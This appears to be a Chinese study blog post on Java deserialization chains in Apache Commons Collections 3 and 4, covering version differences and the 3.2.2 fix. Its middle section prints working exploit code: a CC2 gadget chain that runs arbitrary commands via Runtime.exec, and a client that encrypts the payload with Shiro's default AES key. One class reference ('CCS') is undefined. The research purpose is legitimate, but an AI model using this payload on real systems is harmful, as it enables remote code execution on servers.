版本方面的补充

这里参考的 JAVA 安全漫谈16,P牛提到,因为两个 CC 组件之间不存在兼容的问题,我们可以将两者同时放进一个项目里

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

不过这里我就不拉到一个项目内了,项目实在太多了,眼花了,这也是我个人的问题,等到再多学一点的时候我就把所有的项目整合成一个 QAQ,我们直接开始对比

decorate 方法

首先 CC4 下,我们会发现 LazyMap 下的 decorate 方法找不到了,实际上是换了一个名字,lazyMap

image.png

image.png

注意下载源码

image.png

也就是说,我们 CommonsCollections 3.1版本下的几条调用链实际上都是可以在 CommonsCollections 4.0版本下使用的

image.png

Shiro 补充

其实网上大部分的关于 Shiro 反序列化复现的文章都是通过 CommonsCollections4.0 版本来复现的,因为我们这里改造会更直白、简单,在本身的利用链中我们在 CC2 中就没有必须要使用 transformer 数组。

我们把它稍微改造一下加进我们的 Shiro 反序列化的利用中。

CC2shiro

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2shiro {
public static class StubTransletPayload extends AbstractTranslet {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

public byte[] getPayload(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(CCS.StubTransletPayload.class)));
CtClass clazz = pool.get((CCS.StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\""+ command +"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

final InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(templates);
queue.add(templates);

// switch method called by comparator
setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

return barr.toByteArray();
}
}

Client0

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.util.Base64;

public class Client0 {
public static void main(String[] args) throws Exception {
byte[] payload = new CC2shiro().getPayload("calc.exe");
AesCipherService encoder = new AesCipherService();
//使用shiro默认的key对payload进行加密
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource text = encoder.encrypt(payload, key);
System.out.println(text.toString());
}
}

进行测试的时候还是要重新起一个测试项目的

<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 配置版本 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<!-- 依赖cc链 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

因为 P牛原本那个使用 CC3.1 的项目会报错。

extend

既然 CC3.1 的链子可以在 CC4.0 中使用,那么 CC4.0 中的两条链子是不是也能在 CC3 中使用呢?

这里我去看了一下版本的更新,可以看到两个版本的 Commons Collections 组件的修复实际上都在 2015 年,因为 CVE 就是在 2015 年爆出来的 XD

image.png

image.png

回到我们的问题,PriorityQueue 的利用链实际上是不能在 CC3 版本下使用的,因为在 Commons Collections 4.0 之前是没有实现 Serialize 接口的,所以我们的 CC2 与 CC4 利用链无法在其中使用

Commons Collections 3.1

image.png

Commons Collections 4.0

image.png

而在之后得版本中也不能再利用的原因也是因为这个 Serializable 接口,4.1版本下 InvokerTransformer 和 InstantiateTransformer 两个类都没有实现Serializable接口,所以我们的利用 Transformer 的反序列化攻击也就失效了。

image.png

3.2.2

3.2.2 版本并没有完全取消反序列化接口,这里采用的是另一种修复方案。

这里扩展一下 3.2.2 版本的修复方案,在 3.2.2 版本中,我们可以发现新增了一个方法

image.png

这个方法被大量的运用到了 Transformer 以及一些其他实现 Serialize 接口的类的 writeObject & readObject 中

image.png

如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true,这个配置用来检测反序列化是否安全,如果开发者没有配置,在默认情况下就会抛出异常